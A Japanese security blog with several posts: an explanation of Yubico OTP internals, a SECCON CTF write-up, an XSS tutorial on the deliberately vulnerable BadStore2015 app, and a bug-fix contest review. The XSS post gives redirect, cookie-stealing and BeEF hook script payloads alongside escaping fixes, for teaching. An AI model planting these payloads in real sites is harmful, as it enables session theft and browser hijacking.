試運転ブログ

技術的なあれこれ

二要素認証に使われてるYubico OTP の仕組み

2要素認証に利用できるデバイスに、Yubico社が提供するYubikeyというものがあります。

f:id:otameshi61:20161230002407j:plain

Yubikeyでは様々な機能を使えますが、初期状態で利用できるものにYubico OTP(One-Time password)があります。 Yubico OTPは、非常に安全な仕組みだと思いますが、公式ドキュメントがやや分かりづらいこともあり書きました。

Yubico OTPとは

Yubico OTP は、Yubicoが定めるOTP(One-Time Password)の形式であり、Yubikeyから正常に生成されたOTPかどうかを検証することができます。

このOTPを「私が所持するYubikeyから生成されたものかどうか」を検証することで、二要素認証の要素として利用できます。 sshログインで二要素認証にYubico OTPの使い方は、他の方が書かれているので興味のある方は検索してみてください。

Yubikeyは、USBキーボードとして認識され、円の部分をタップすることでYubico OTPを生成し、キー入力されます。

f:id:otameshi61:20161230002451g:plain

OTP(One-Time Password)という名前からもわかる通り毎回生成される文字列が異なります。 例えば、2回生成をすると、以下のような文字列が生成されます。

vvvgutvinihgjelnlrctgrvukrkbhtbrrrtugdgndcif
vvvgutvinihgjrcnkgkflerfghfdkijiudvltttuntji

異なる文字列が生成されていることがわかるかと思います。

Yubico OTPの検証サーバー

OTPが、Yubikeyから生成されたのか、でたらめな文字列なのかを検証する仕組みがYubico社から提供されています(YubiCloud)。 下図は、password + Yubikeyの2要素認証を行するフローで、青色の部分でOTPをYubiCloudに問い合わせています。

1要素目のpasswordが検証されたあとに、OTPの検証をしていることがわかるかと思います。この2つの要素の認証が両方成功して、この認証は成功になるという流れです。

f:id:otameshi61:20161230002515p:plain https://developers.yubico.com/OTP/Libraries/Using_a_library.html

YubiCloudはOTPが正しいかどうかを検証するだけで、Yubikeyとユーザとの紐付けはServer側の責任となります。 Yubico OTPでは、どのYubikeyから生成されてるいるのか判別出来るように、public IDというYubikey毎に固定の値が先頭につきます。

OTPが「私が所持するYubikeyから生成されたものかどうか」は、

  1. サーバ側で、Yubikeyのpublic IDとユーザーの登録したpublic IDが正しいか
  2. YubiCloudによるOTPの検証結果

から分かります。

Modhex形式

ここからは、生成されたOTPについて説明していきます。

Yubico OTPは、16進数をModhex方式(Yubico社が定めたエンコーディング方式)で別の文字に置換されています。

YubikeyはUSBキーボードとして認識されるので、PCに設定されているキーボード設定によっては、入力がぶれてしまうことがあるそうです。 Modhex形式では、様々なキーボードでのぶれが起きにくい文字が使われているそうです。

16進数 0 1 2 3 4 5 6 7 8 9 a b c d e f
Modhex c b d e f g h i j k l n r t u v

Modhex形式を16進数に戻すコードは以下のようになります。

d = {'b': '1', 'c': '0', 'd': '2', 'e': '3', 'f': '4', 'g': '5', 'h': '6', 'i': '7', 'j': '8', 'k': '9', 'l': 'a', 'n': 'b', 'r': 'c', 't': 'd', 'u': 'e', 'v': 'f'}

def modhex2hex(x):
  return ''.join([d[i] for i in x])

この関数でOTPを16進数に変換するとこのようになります。

>>> print(modhex2hex('vvvgutvinihgjelnlrctgrvukrkbhtbrrrtugdgndcif'))
fff5edf7b76583abac0d5cfe9c916d1cccde525b2074

>>> print(modhex2hex('vvvgutvinihgjrcnkgkflerfghfdkijiudvltttuntji'))
fff5edf7b7658c0b9594a3c456429787e2fadddebd87

馴染みのある16進数の表現になりましたね。 これ以降のOTPは16進数に変換後の値を使います。

public IDと暗号文

Yubico OTPは44文字の文字列で、public ID(先頭12文字)と暗号文(残り32文字)からなります。正確にはpublic IDの長さは設定で変えられますが、YubiCloudで使えるYubico OTPに話を限定します。

public IDは、OTPの中で固定の値です。 設定で変更できますが、工場出荷状態で使える設定では、必ずユニークな値となっています。

暗号文には、OTPがYubikeyから生成されたものかを検証するための情報が含まれています。

先ほどの同じYubikeyから生成した2つのOTP

  • fff5edf7b76583abac0d5cfe9c916d1cccde525b2074
  • fff5edf7b7658c0b9594a3c456429787e2fadddebd87

をpublic ID と 暗号文に分けると以下のようになります。

public ID 暗号文
fff5edf7b765 83abac0d5cfe9c916d1cccde525b2074
fff5edf7b765 8c0b9594a3c456429787e2fadddebd87

public IDが同じで、暗号文は変わっていることがわかります。

暗号化方式とその鍵

暗号化にはAES-128が使われています。

鍵はYubikey内と検証サーバー(YubiCloud)に保存されています。 YubiCloudでは、public IDから鍵を取り出し復号します。

工場出荷時に、YubiCloudへpublic IDと鍵の登録はされているので、Yubico OTPはすぐに使うことができるというわけです。

また、Yubikeyは設定に対して、書き込みを行うためのインターフェースしか用意されておらず、読み込みができないため、鍵はYubico OTP設定時にのみ分かるようになっています。

初期状態では工場でYubico OTPの設定がされているので、購入者も鍵を知ることができません。 Yubikeyの利用者は、鍵を知らずに(知ることが出来ずに)OTPを生成し、Yubico OTPという仕組みを使用することができます。

鍵の情報漏洩を心配しなくて良いのはYubikeyなどのデバイスを通した認証の良いところですね。 鍵の入ったデバイスが盗まれてしまったら元も子もないですが、public IDに紐づく情報を無効化することで被害を抑えられます。

暗号文の中身

暗号文の中身で、検証に重要な値として、

  • private ID
  • Counter

があります。

private IDは、鍵と同様に、工場で設定されYubiCloudに登録されている値です。 public IDは公開情報なので、他人のpublic IDになりすまそうとすることができますが、暗号文内のpublic IDに紐づいているprivate IDの値は分からないため、なりすましを防ぐことができます。

Counterは、YubikeyでOTPを生成する毎にカウントアップされる値です。YubiCloudでは、最後に検証したCounterを保持されており、入力されたOTPのカウンターと最後に使用したカウンターの値を比較することで、使い回しなどを防ぐことができます。 また、過去に生成したOTPが漏洩してしまったとしても、そのあとに生成したOTPを使用することで簡単に漏洩したOTPを使用できなくすることができます。

結局、YubiCloudでは、暗号文を復号し、

  1. private IDが正しいか
  2. Counterの値が新しいか

を検証します。

以下は、Yubicoのサイトに記載されている検証の流れを示した図です。

f:id:otameshi61:20161230002549p:plain https://developers.yubico.com/OTP/OTPs_Explained.html

ここまでの、まとめ

  • Yubico OTPは、YubiCloudによって検証できる
  • 暗号部分はAESで暗号化されており、購入者も鍵を知ることができないので、鍵の漏洩を心配しなくて良い
  • 暗号化された情報で改ざん防止や使い回しの防止がされている

暗号文の中身

ここからは、暗号文の中身を見ていくことで、Yubico OTPの詳細な仕様を見ていこうと思います。

暗号文の中身は16バイトで以下の値が入っています。

field名 バイト数
uid 6 private(secret) ID
useCtr 2 Usage counter
tstp 3 Timestamp
sessionCtr 1 Session usage counter
rnd 2 Random number
crc 2 CRC16 checksum

https://mowa-net.jp/wiki/YubiKey#Yubico_OTP.2BMG5O1WnY-

  • uid: public IDと1対1で対応したID。private ID。
  • useCtr: USBを抜き差しするとカウントアップされる不揮発な値。
  • tstp: デバイス起動時からカウントされる8Hzのタイマーの値。
  • sessionCtr: 揮発性の値で、USBが差さっている間に、Yubico OTPを生成するとカウントされる。
  • rnd: 乱数。
  • crc: 16bit ISO13239 1st complement checksum だそうです。チェックサム

カウンターの上限について

Yubico OTPのカウンターは、不揮発性のuseCtrと揮発性のsessionCtrの2つあります。

最後に使用したuseCtrより大きければOK、小さければNGです。useCtrが同じ場合は、sessionCtrが大きければOK、同じか小さければNGとなっています。

sessionCtrは、1バイトなので256回タップすると上限に達します。次のタップでは、useCtrがカウントアップし、sessionCtrは0になります(確認済み)。

useCtrは、2バイトなので、65535まで値を保持できます。sessionCtr 1日10回抜き差しすると大体17年くらい使える感じです。 上限に達する前に(かなり丈夫に作られてるとはいえ)壊れてしまいそうですが、上限に達したらもう一度設定し直すしかないらしいです。

Yubikey Personalization tools

暗号文の詳細を追ってくために、実際に暗号文を復号してみたいと思います。

Yubikey Personalization tools というYubikeyの設定ツールがあります。 これを使うとYubico OTPの設定を変えることができ、public ID、private IDと鍵を知ることができます。

s_Screen Shot 2016-11-20 at 14.50.54.png

新しく生成したpublic IDとprivate IDと鍵のペアをYubiCloudにアップロードすることで、Yubico OTPが使えるようになります。

自分で生成したものは先頭がvvとなり、工場で生成されたものはccから始まるよう決められており、自分で生成したものかはpublic IDから判別することが可能です。

暗号文の実際の値

鍵が a9 e2 29 33 2e 87 0f 26 1e a5 5a 2a bd ef da e0 に設定されたYubico OTPの中身を見て行きたいと思います。

以下が、復号や暗号化するコードです。

gist.github.com

以下の5つのOTPを復号してみようと思います。

vvntibfekfkkuvrvubtictldndbenurgrgbukhkutild
vvntibfekfkkcgfeljervjjcejvjkvttthndftrtbdrf
vvntibfekfkkbnkhcdiuhbbbflbuitdnecbkbnlkchgv
vvntibfekfkkbevrttebkucvbdrntikdicluudifdgil
vvntibfekfkkjfvttcrfvdkrrrvdidrrrdlcdefvhege

結果は、

$ python Yubico.py
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:f011a4 sessionCtr:00 rnd:adfd crc:7855 >
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:fe11a4 sessionCtr:01 rnd:cd73 crc:1308 >
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:1312a4 sessionCtr:02 rnd:d3dd crc:1599 >
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0002 tstp:5bd808 sessionCtr:00 rnd:f2d7 crc:ae1f >
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0002 tstp:7fd808 sessionCtr:01 rnd:7326 crc:121d >

このようになります。 最初の3個は、同じuseCtrで、sessionCtrがカウントアップされていることがわかります。 4個目のYubico OTPを生成する前に、Yubikeyを抜き差ししました。4個目のuseCtrが2になり、sessionCtrが0に戻っていることが分かります。

checksumの計算

自分でOTPを計算していきたいと思います。

crcは、それ以外のfieldの値を使ってchecksumを計算します。 マニュアルに載っているコードは、一部間違っているようでしたので注意が必要です。

以下のコードが、チェックサムの計算と検証するコードです。

def update_crc(crc, x):
    crc ^= x
    for _ in range(8):
        flag = crc & 1
        crc >>= 1
        if flag != 0:
            crc ^= 0x8408
    return crc & 0xffff


def get_crc(s):
    assert len(s) == 14, "Invalid length"
    crc = 0x5af0
    for i in s:
        crc = update_crc(crc, i)
    return crc
    

def verify_crc(s):
    assert len(s) == 16, "Invalid length"
    crc = 0xffff
    for i in s:
        crc = update_crc(crc, i)
    return crc == 0xf0b8

YubiCloudで検証

YubikeyによるYubico OTPの生成をみてきましたが、これらの情報が検証サーバ(YubiCloud)で正しく検証されるか見ていきたいと思います。

Validation Protocol に書かれていますが、

http://api.yubico.com/wsapi/2.0/verify?otp=vvvvvvcucrlcietctckflvnncdgckubflugerlnr&id=87&timeout=8&sl=50&nonce=askjdnkajsndjkasndkjsnad

にリクエストを送ることで、OTPが正しいかを検証することができます。 OTPをotpというパラメータにセットし、それ以外のパラメータはそのままでリクエストを送ります。

YubiCloudに登録している、public IDで生成した正常なOTPを送って見ます。

$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgvbbrtbdjebcblfherenbdkkbfrhdhghr\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad
status=OK

status=OK から、正しいOTPであることが分かります。

同じOTPを再度、送って見ます

$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgvbbrtbdjebcblfherenbdkkbfrhdhghr\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad

status=REPLAYED_REQUEST

status=REPLAYED_REQUEST より、再送されたものであることが分かります。

その他にも、 過去のOTPを送ると

$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgddvrncverchrujjdnfferuccvdficvcf\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad

status=REPLAYED_OTP

一文字書き換えたOTPを送ると

$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgddvrncverchrujjdnfferuccvdgicvcf\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad

status=BAD_OTP

となり、きちんとNGが返ってきていることが確認できます。

自分で生成したOTPを検証する

以下のpublic ID(ff39a66437d3) と private ID(065c6ad736b4)と鍵でYubiCloudに登録し、以下のOTPを検証したとします。

# vveklhhfeitehunflcgniugkjencelvjcfgjrublthei
< public_id:ff39a66437d3 private_id:065c6ad736b4 useCtr:0001 tstp:aa4865 sessionCtr:02 rnd:03cd crc:fc31 >

useCtr が1、sessionCtrが2なので、タップすればuseCtrが1、sessionCtrが3のOTPが生成されるます。 この条件で、OTPを生成し、検証してみます。

y1 = Yubico.calc_otp(key, 0xff39a66437d3, 0x065c6ad736b4, 0x01, 0x03)
print(y1.otp)  # => vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl

これを実行することで、vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl が得られます。

# 普通に生成したOTPの検証。useCtr が1、sessionCtrが2。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vvvgutvinihgichgvrljjhrdbtdrbnrnnnttehnebjbc
h=pNQ0bQIYZx2iBHoktz5aVjDGFvk=
t=2016-12-30T03:56:09Z0559
otp=vvvgutvinihgichgvrljjhrdbtdrbnrnnnttehnebjbc
nonce=askjdnkajsndjkasndkjsnad
sl=50
status=OK

# 自分で計算したOTPの検証。useCtr が1、sessionCtrが3。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl
h=6jnCfVVKSa0wBSlZWdZcfoIKL3k=
t=2016-12-30T04:00:39Z0699
otp=vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl
nonce=askjdnkajsndjkasndkjsnad
sl=50
status=OK

# 普通に生成したOTPの検証。useCtr が1、sessionCtrが3。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeiteribeddtufhbtvnhnttivubkkfugekhvh
h=k3b7zIJOLmAflOJmwYOPzyl8wSw=
t=2016-12-30T04:00:51Z0931
otp=vveklhhfeiteribeddtufhbtvnhnttivubkkfugekhvh
nonce=askjdnkajsndjkasndkjsnad
status=REPLAYED_REQUEST

二つ目の結果から自分で生成したOTPが、検証でOKを返していることがわかります。このリクエストにより、YubiCloudのカウンターが更新され、3個目にYubickey経由で生成したOTPにも関わらず検証が失敗していることがわかります。

せっかくなのでカウンターがマックスまでいったとき、オバーフローとかして、また最初から使えないかみてみます。

# useCtr が0xffff、sessionCtrが0xff。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf
h=gEwRfJPLZ6PTjTwnyY0lXvsgvZ4=
t=2016-12-30T04:15:05Z0073
otp=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf
nonce=askjdnkajsndjkasndkjsnad
sl=50
status=OK

# useCtr が0x0、sessionCtrが0x0。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf
h=7bNNnRVlNpH/CFPbKKF943MM1JI=
t=2016-12-30T04:15:17Z0875
otp=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf
nonce=askjdnkajsndjkasndkjsnad
status=REPLAYED_REQUEST

サーバ側でオバーフローなどはしないので、やはり設定をし直すしかなさそうですね。

後半の、まとめ

  • Yubico OTPの暗号化されている中身を詳細にみてみた
  • 実際に暗号文を復号し、挙動を確かめた
  • 暗号化するコードを作り、正しく検証されるか確かめた

さいごに

Yubico OTPは、普通の使い方では鍵がもれる心配をしなくてよいためとても安全な仕組みかと思います。 公式マニュアルがややわかりにくかったのとYubicoの独自認証プロトコルなので資料がほぼなかったので書いてみました。 何かしら興味をもっていただければ幸いです。

参考

その他にもYubikeyのことが書かれた日本語のブログはお世話になりました。

もし公式ドキュメントを読みたい方は、

  • ドキュメント量は多いが整理されていないので注意する
  • 名称のブレがとにかく激しいので、ノリで理解する
    • 例えば、public ID, Yubikey Token, publicname は全部同じものを指します。

に注意してください。

どこか間違っている点や疑問点などあればコメントいただけると助かります。

SECON 2016 Online CTF

SECON 2016 Online CTFにでた。 チームは、shioshiotaで参加した。2000ptで39位だった。

24時間の健康的なCTFだった。pwn担当が一人のチームだと48時間欲しいなぁー、と思った。 僕が解いたのは、以下の4問。

  • [Exploit] cheer msg (100pt)
  • [Exploit] jmper (300pt)
  • [Exploit] checker (300pt)
  • [Binary] ropsynth (400pt)

どれも面白かったです😀

運営のみなさまありがとうございました🙏

以下、コードは汚いのと解説する気はないですが、こんな感じで解きました。

[Exploit] cheer msg (100pt)

Message Length によって、espが変わる。

Message Length に負の値を指定することができ、名前を保持しておく変数を戻りアドレスを指すように調整して、ropするだけ。

攻撃コードは、これ👇

cheer_msg.py · GitHub

[Exploit] jmper (300pt)

なんか学生を追加したり、名前つけたり、メモをかける。

メモを書くところにoff-by-oneがあり、名前の文字列を指すポインタの1バイトを書き換えられる。これを使って任意のアドレスの書き換えが可能になる。

GOT は書き換えられず、setjmp/longjmp があり、いかにもこれを使って攻撃してくれといっている感じだった。

復帰に使われる、jmp_buf構造体には、復帰のアドレスとスタックポインタがエンコードがされて保持されている。

これをsystem("/bin/sh")を実行するようにすればよいだけ。

攻撃コードは、これ👇

jmper.py · GitHub

[Exploit] checker (300pt)

メモリ上にのったフラグの文字列を読み出す問題。

jmper解いた後だったので、300点・・・?、という感じだったが、不備があって簡単になっていたらしい。

canary破壊した時に出るエラーメッセージのアレで、flag読み出す。

攻撃コードは、これ👇

checker.py · GitHub

[Binary] ropsynth (400pt)

rop のgadgetに使えるバイナリが降ってきて、そこからフラグを読み出すrop chainを送り返す問題。

5回連続で攻撃を成功させる必要があるが、各段階に難易度の変化はない。また、gadgetはちょっと面倒だが、そんな複雑ではないのでパースして組み立てるだけ。

攻撃コードは、これ👇

r.py · GitHub

以上です。

Bugfix Backend を攻撃してみた(XSS編)

全体の概要と注意事項は以下の記事で説明しているので、必ず目を通して欲しい。otameshi61.hatenablog.com

XSS

HTML生成の部分で問題があると、Cross-site scripting(XSS)という脆弱性が起こる。XSSを利用した攻撃の一つとして、JavaScriptをサイトに埋め込むことができる。

原因

ユーザーから受け取った文字列をサニタイジング(無害化)を行っていないことが原因である。特に、HTMLの特殊文字サニタイジングの方法としてはHTMLのエスケープがある。e-words.jp

HTMLのエスケープを行わずにユーザーからの入力を出力を行う箇所が存在した場合、XSSの攻撃が可能となる場合がある。

Badstore2015では、doguestbook.phpの以下の部分

<?php echo $row['comment']; ?>

において、ユーザーから受け取った文字列をそのまま出力している。この時にユーザーが
f:id:otameshi61:20150405135459p:plain
と入力を行うと、出力部では、このようにimageタグが埋め込まれた表示になる。
f:id:otameshi61:20150404153618p:plain

ページのソースをみると
f:id:otameshi61:20150404153712p:plain

となり、タグがそのまま入力されていることが分かる。

対策

PHPでは、htmlspecialcharsという関数でHTMLのエスケープを行うことができる。
http://php.net/htmlspecialchars

<?php echo htmlspecialchars($row['comment'],ENT_COMPAT,'UTF-8'); ?>

HTMLのエスケープを行った後の表示はこのようになる。
f:id:otameshi61:20150404154237p:plain

ページのソースはこのようになる。
f:id:otameshi61:20150404154245p:plain

< が & lt; となっており、特殊記号が実体参照に変換されていて、HTMLのエスケープが正しく行われていることがわかる。

しかし、HTMLのエスケープだけではサニタイズが不十分な場合がある。そのような例は、後ほど紹介する。

被害

上記ではimageタグの埋め込みという無害な例を示した。XSSの攻撃では、scriptタグの埋め込みによるブラウザ上での攻撃がなされる。

JavaScriptの攻撃では、リダイレクトやcookieの盗み出しなどがある。JavaScriptがほとんど書けない人でも様々な攻撃を容易にするフレームワークとしてBeEFが存在する。

順に説明していく。

リダイレクト

リダイレクトは、

<script>window.location = "http://localhost/hoge.php";</script>

を埋め込むことで、このページにアクセスしてきた相手をhttp://localhost/hoge.php に飛ばすことができる。
攻撃者としては、フィッシングサイトやマルウェアの配布サイトやアフィリエイト稼ぎのサイトに飛ばすことができる。

cookieの盗み出し

cookieの盗み出し
被害者のセッションIDを盗んで相手のセッションを奪う攻撃に利用される。JavaScriptからCookieを送信するコードを書いても良いが、たとえば

<script>window.location = "http://localhost/hoge.php?cookie="+document.cookie;</script>

と書き込めばクッキー情報をつけたままアクセスが行われる。取集用のスクリプトを用意しても良いし、アクセスログからもクッキー情報を抜くことができる。

BeEF

XSSの攻撃を容易するために、BeEFというフレームワークがある。この他にもMetasploit のxssfというフレームワークが有名である。
これらのフレームワークでは、攻撃スクリプトを読み込むことでブラウザの攻撃を行う。
以下のようなBeEFの実行画面
f:id:otameshi61:20150404161042p:plain

攻撃スクリプトの読み込みは、画像のHook URLを読み込むようにすればよい。

<script src='http://127.0.0.1:3000/hook.js'></script>

このタグを埋め込まれたページを踏んだユーザーを管理と攻撃を行う管理画面は以下のようになっている。
f:id:otameshi61:20150404161326p:plain

JavaScriptをあまり知らないひとでも簡単に相手の情報を盗み、web カメラを起動したり、ブラウザで音をならしたり、フィッシングサイトに招いたりすることが、GUIを利用してぽちぽちボタンを押してるだけで出来る。

発展的な内容

HTMLのエスケープでは、サニタイズとして不十分な例を示す。
"メッセージを残す"では、URLを指定しpageにリンクを埋め込むことができる。

作成者の想定通りの利用法
  • 入力

f:id:otameshi61:20150405151942p:plain

  • 表示

f:id:otameshi61:20150405151957p:plain

  • ページのソース

f:id:otameshi61:20150405152008p:plain

JavaScriptはa要素のhref属性の属性値として、javascript:JavaScript式という形式でJavaScriptを起動することができる。
以下のようにすることで、HTMLのエスケープを回避してJavaScriptを埋め込むことができる。

悪意のある利用法
  • 入力

f:id:otameshi61:20150405152545p:plain

  • pageを押した後の挙動(JavaScriptが実行されていることがわかる)

f:id:otameshi61:20150405152737p:plain

  • ページのソース

f:id:otameshi61:20150405152552p:plain

対策

hrefに出力する前に、http: かhttps: で始まるURLになっているか、/から始まる相対パスになっているかを確認するようにする

まとめ

Badstore2015において発生するXSSの問題について簡単に触れた。

Bug Fix Backend を攻撃してみた

ADF2015のBug Fix Backendで利用したアプリケーションのバグを修正するのではなく、攻撃するという私が勝手にやりたかったコンテンツである。

ADF2015などについては、otameshi61.hatenablog.com

この記事では、2日目の夜にLT会の「Bug Fix Backendを攻撃してみた」において、話すつもりであったトピックに幾つか触れてみる。ちなみに、私のLTは2日目の最後であり諸々のスケジュールが押したため省略された。悲しい。

対象とするアプリケーションはBug Fix Backendで利用したもので、以下で公開している。画像などは少し変更している。また、いくつかのバグの修正と機能を加えている。

github.com

BadStore2015

BadStore2015はPHPで実装された簡易ショピングサイトである。

扱うセキュリティ上の問題

今回扱うセキュリティ上の問題は、主に3点

  • XSS
  • SQL Injection
  • Passwordの保持の仕方について

本文を書いてたら長くなったので、それぞれ別の記事にする。

  • XSS編
  • SQL Injection編(近日公開予定)
  • Passwordの保持の仕方について編(近日公開予定)

近日公開予定と書いたが、記事を書かない気しかしない。

はじめに

攻撃をしながらセキュリティ上の問題を眺めてみることが本記事の目的である。

最近では便利なフレームワークがたくさんあり、フレームワークの規約にしたがっている限りはセキュリティ上の問題は発生しにくい。それはそれで良いのだが、有名なサイトでもクラックされている現状を見る限り、どこかに問題が入り込む可能性は捨てきれない。

ここで紹介するのはPHPだから起こる問題ではない。Web アプリケーションであれば、これらのセキュリティ上の問題が起こる可能性を内在している。大抵の場合、フレームワークがいつの間にかに問題が起きないようにうまく処理してくれている。

セキュリティ上の問題を身近に感じてもらいたいと思いこの記事を書いている。この記事が多少なりとでも、セキュリティ意識の向上につながれば嬉しい。

当然だが、このブログは上記アプリケーションを検査するためだけのものであり、一般に公開されているサイトに対して行ってはならない。また、本ブログで紹介する方法で被害が生じたとしても本ブログは一切責任をもたないものとする。これらを了承できない場合、これ以上読み進めるのは避けていただきたい。

なお、全体的に説明不足であり、網羅性に欠けている。さらにWebのセキュリティについて詳しく知りたい方は「体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践」(通称、徳丸本)をぜひ読んで欲しい。

また、IPAからも安全なウェブサイトの作り方という資料がある。www.ipa.go.jp

本文中に間違いがあればぜひ知らせて欲しい。可能な限り早く対応する。

ツール

今回の記事で利用する予定のツールを一覧で紹介しておく。
VirtualBoxにKali Linuxを入れれば以下のすべてのツールが使える。どれもOS Xで動くためKali Linuxを入れる必要はない。それぞれのツールの利用法を検索した際にホストOSとしてKali Linuxが利用されていることが多いため紹介だけしておく。

ここで紹介するツールは非常に多機能なものが多く、すべての機能を説明することは不可能である。興味がわいたら各自調べて欲しい。

Kali Linux

https://www.kali.org/
侵入テストに特化したディストリビューション。侵入テストに有名なツールはすべて入ってる。

OWASP ZAP

https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
Web アプリケーションのスキャンツール。稼働しているサービスのURLを与えれば、勝手にスキャンしてくれる。スキャンといってもデフォルトの設定でも不正なパラメータを大量に送りつけるため注意すること。

BeEF

http://beefproject.com/
Browser Exploitation Framework のひとつ。XSSが成立した後にブラウザを攻撃していくためのframework。

sqlmap

http://sqlmap.org/
SQL Injectionを自動でスキャンから攻撃まで行ってくれる。これも、デフォルトの設定では不正なパラメータを大量に送りつけるため注意すること。

OWASP ZAP

OWASP ZAPでBadstore2015を調査する。自分のサービスを指定して"Attack"を押すと調査を始めてくれる。アプリケーションのページを巡回し、Formなどのパラメータで脆弱な箇所はないかを調べてくれる。問題を起こすようなパラメータを勝手に送りつけたりするため、注意が必要である。

Badstore2015に対して行った時の結果を以下に示す。

f:id:otameshi61:20150404151126p:plain

XSSが3件、SQL Injection が3件報告されており、それぞれ、どのページの、どのパラメータが攻撃可能かも知らせてくれる。その他の報告についてはここでは触れないが興味があれば見てみてほしい。

XSSSQL Injectionについて以下で見ていく。

  • XSS編
  • SQL Injection編(近日公開予定)
  • Passwordの保持の仕方について編(近日公開予定)

ADF 2015 Bugfix Backend

 リクルートホールディングス主催のADF 2015というイベントにスタッフとして参加してきた。その中で2日目のバグフィックス チャレンジというコンテンツを任された。

ADF 2015とは

 ADF2015とはリクルートホールディングスが、3/28~3/30で行った就活中の学生エンジニア向けの2泊3日のイベントである。全体で100名規模のイベントとなっていた。また、東京の学生にも品川プリンスホテルの個室が割り当てられるなど、とてもあれがかかっていたイベントである。

recruit-jinji.jp

 1日目から2日目はチーム対抗で様々な競技(ゲームプログラミングやショートコーディング)で稼いだポイントを競い、3日目はハッカソンをするという流れになっている。

 これらの入賞者には、それぞれ豪華商品が送られている。入賞者のブログなどぜひ見てみて欲しい。とてもあれがかかっている。

Bugfix Challenge とは

 バグフィックスは、その名の通りにバグの渡されたプログラムを修正することだ。バグフィックス チャレンジでは、バグの修正できる力を競う。ジャンルは、iOSAndroid、Web(Front)、Web(Backend)の4ジャンルを出題した。参加者は、これらのうちどれかを選択し解答することができる(複数選択可)。競技スタイルは個人戦とした。

 参加者へのルール説明は以下のGitHubレポジトリで行った。github.com

Backend の問題の環境

 私はBugfixのBackendの問題を作成した。github.com

 バックエンドのエンジニア向けのバグフィックスといっても、バックエンドで必要となる技術が多種多様で、共通して全員ができるものというのはなかなか無いと思う。今回は、参加者の中で触れたことの多そうな素のPHP(フレームワーク、テンプレートエンジン、ORMは使わない)とMySQLを利用した簡易ショッピングサイトを題材として扱うことにした。

作問について

 バックエンドの問題では「報告されているバグリスト」というものを参加者に提示し、これらで報告されているバグを修正してもらうことにした。バックエンドでのバグは期待する動作がされていないものとし、一部の書き換えだけでなく、修正のためにプログラムを追加することが必要な箇所もあった。

 バグは5題用意した。また、バグリスト以外にも多数の修正した方が良い箇所があり、これらの修正に関しても加点対象とした。PHP固有の問題(型にまつわる問題など)はあまり触れず、バックエンドのエンジニアならば原因の特定とフィックスができそうなバグを心掛けた。

対象のアプリケーションについて

f:id:otameshi61:20150404184743p:plain

 こんなサイトを対象とした。
 ちなみに、見た目がダサいはバグではない。

各問題について

 以下のようなバグレポートをあげた。

# Bug1

"新しい品物!"で何も選択をしない場合で,"商品を追加する"を押した時は,
同じページにリダイレクトさせたいのに,index.phpに遷移してしまう.

# Bug2

login後に、"メッセージを残す"で自動的に名前の入力が投稿に反映されない

# Bug3

商品をすべて購入後に"新しい品物!"にアクセスすると表示がおかしくなる

# Bug4

"メッセージを残す"で"いつもお世話になってます!>_<b(>_<) Good Job!! >_< "などと打つとが表示がおかしくなる

# Bug5

一度購入したものも、ログアウトしてカートに入れた後にログインすると、カートに入ったままで再度購入ができてしまう

解答と講評

 簡単にだが解答と講評を行う。

# Bug1

リダイレクト先がおかしいというバグ。リダイレクト先を指定のパスにすれば良い。
カートに何か入ってる場合は、/index.phpに入っていない場合は、/new_items.php?isNew=Nにリダイレクトするのが想定解であった。

多くの人ができていた。

# Bug2

disabled属性になっているinput要素のplaceholder属性にのみ属性値が設定されており値が送られていないというバグ。
想定解としては、disabled属性をreadonly属性にしvalue属性を追加させる方法であった。

# Bug3

while(true)でitemsがnullの時にループが停止しないというバグ。

想定解のひとつとして、breakへの条件である、

if ($counter == count($items)) { break; }

を

if ($counter >= count($items)) { break; }

を想定していた。

itemsがnullであったらbreakするという、新たにif文を追加している人が多かった。

# Bug4

HTML escapeがされていないためタグの表示がおかしくなるというバグ。

想定解としては、出力前にhtmlspecialcharsの関数でエスケープする方法だった。

解答はデータベースに入れる前にエスケープしているものが多かった。
HTML エスケープは単純に'<' を'& lt;'などの文字実体参照に変換するものであり、データベースで保持する際にはエスケープ前のものを保持することを想定していた。

# Bug5

ログイン前にカートへの追加が可能なため、以前に購入したものを再度カートへ入れることができ要件をみたしていないというバグ。

想定解は、"購入履歴"に対応するhistory.phpの中のSQL 文を流用して、カート内に過去に購入したものがあった場合には自動で取り除く方法を想定していた。

カートへの追加をログイン後にのみ可能にする、ログイン処理の直後にカートを初期化するといった解答が多かった。
